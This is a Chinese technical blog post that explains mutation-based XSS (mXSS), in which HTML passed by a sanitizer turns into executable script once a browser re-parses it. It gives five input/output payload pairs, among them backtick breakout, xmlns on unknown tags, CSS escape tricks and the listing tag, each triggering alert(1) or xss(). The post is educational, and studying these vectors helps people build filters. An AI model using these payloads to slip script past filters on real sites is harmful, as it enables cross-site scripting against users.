mXSS简述

本文作者:IMWeb 杨文坚 原文出处:IMWeb社区 未经同意,禁止转载

因为没啥好讲,就说一下mXSS

ABSTRACT

不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入。然而,如果用户所提供的富文本内容通过javascript代码进属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting)。

下面将举几个mXSS的例子,以供欣赏。

反引号打破属性边界导致的 mXSS

2007被最早提出来的mXSS,该问题再绝大多数浏览器不再重现:

  • input
<img src="test.jpg" alt ="``onload=xss()" />
  • output
<IMG alt =``onload=xss() src ="test.jpg">

未知元素中的 xmlns 属性所导致的 mXSS

一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。但解释后却产生了突变:

  • input
<pkav xmlns="><iframe onload=alert(1)">123</pkav>
  • ouput
<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

CSS中反斜线转义导致的mXSS

css中允许使用\来进行转义,但在在一起的时候,悲剧就产生了。

  • input
<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>
  • output
<P style="FONT-FAMILY: 'ar';x:xss());ial'"></P>

CSS属性名中的转义所导致的mXSS

\22转义后产生的悲剧。

  • input
<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">
  • output
<IMG style="font-fam"alert(1) ily: ''" src="1">

Listing标签导致的mXSS

Listing标签里面的东东会发生些奇葩事情:

  • input
<listing><img src=1 onerror=alert(1) &</listing>
  • output
<LISTING><img src=1 onerror=alert(1) ></LISTING>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏DeveWork

WordPress自定义栏目运用实例 VI:设置外链缩略图/特色图像

这里是WordPress 自定义栏目运用实例系列第五讲,为大家带来设置外链缩略图/特色图像的方法。如果你的主题支持特色图像的话,你会发现使用特色图像的图像是不能...

29690
来自专栏图像识别与深度学习

2018-01-07latex

13440
来自专栏数据小魔方

自定义下拉菜单

今天跟大家分享怎么利用excel的数据有效和开发工具制作自定义下拉菜单! 下拉菜单是我们经常会用到的高效录入数据方式,可以减少我们录入大量数据时的繁琐过程。 本...

37860
来自专栏Lambda

Bootstrap笔记

Bootstrap简介什么是Bootstrap?框架:库 lib libraryjQuery作为一个框架来讲,提供一套比较便捷的操作DOM的方式把大家都需要的功...

28290
来自专栏施炯的IoT开发专栏

《101 Windows Phone 7 Apps》读书笔记-Groceries

课程内容 Ø Panarama控件     Groceries是一个简易的购物清单应用程序,我们可以用它来一步一步建立自定义的购物清单。根据个人的喜好,我们...

20150
来自专栏谦谦君子修罗刀

iOS导入外部字体

一、将字体文件拖入工程中。 这些字体可以是网上下载的,也可以直接使用系统的字体册。 点击Launchpad-->其他-->字体册,找到你需要的字体,选择在F...

34560
来自专栏逸鹏说道

前端常用插件

插件 parallel.js: 前后端通用的一个并行库 zepto: 用于现代浏览器的兼容 jQuery 的库 totoro: 稳定的跨浏览器测试工具 Thea...

83060
来自专栏练小习的专栏

伪类以及伪元素的一些使用小技巧

在浏览器版本越来越高的情况下,很多以前顾及到兼容问题不敢使用的html以及css属性现在已经很普遍的在使用了。比如一些伪类和伪元素。这里稍微提一下在实际工作中用...

23290
来自专栏数据小魔方

think-cell chart系列19——任务甘特图

今天跟大家分享think-cell chart系列19——任务甘特图。 甘特图在之前的教程中曾经讲过,当时是在excel中制作完成的,花费了相当多的时间和功夫。...

1.2K70
来自专栏腾讯NEXT学位

Cocos Creator制作一个微信小游戏(上)

| 导语 微信小游戏都火成这样了,为什么不尝试一下? 我们的目标是使用Cocos Creator从零开始制作一个小游戏,并放到微信上玩。

6.7K40

扫码关注云+社区

领取腾讯云代金券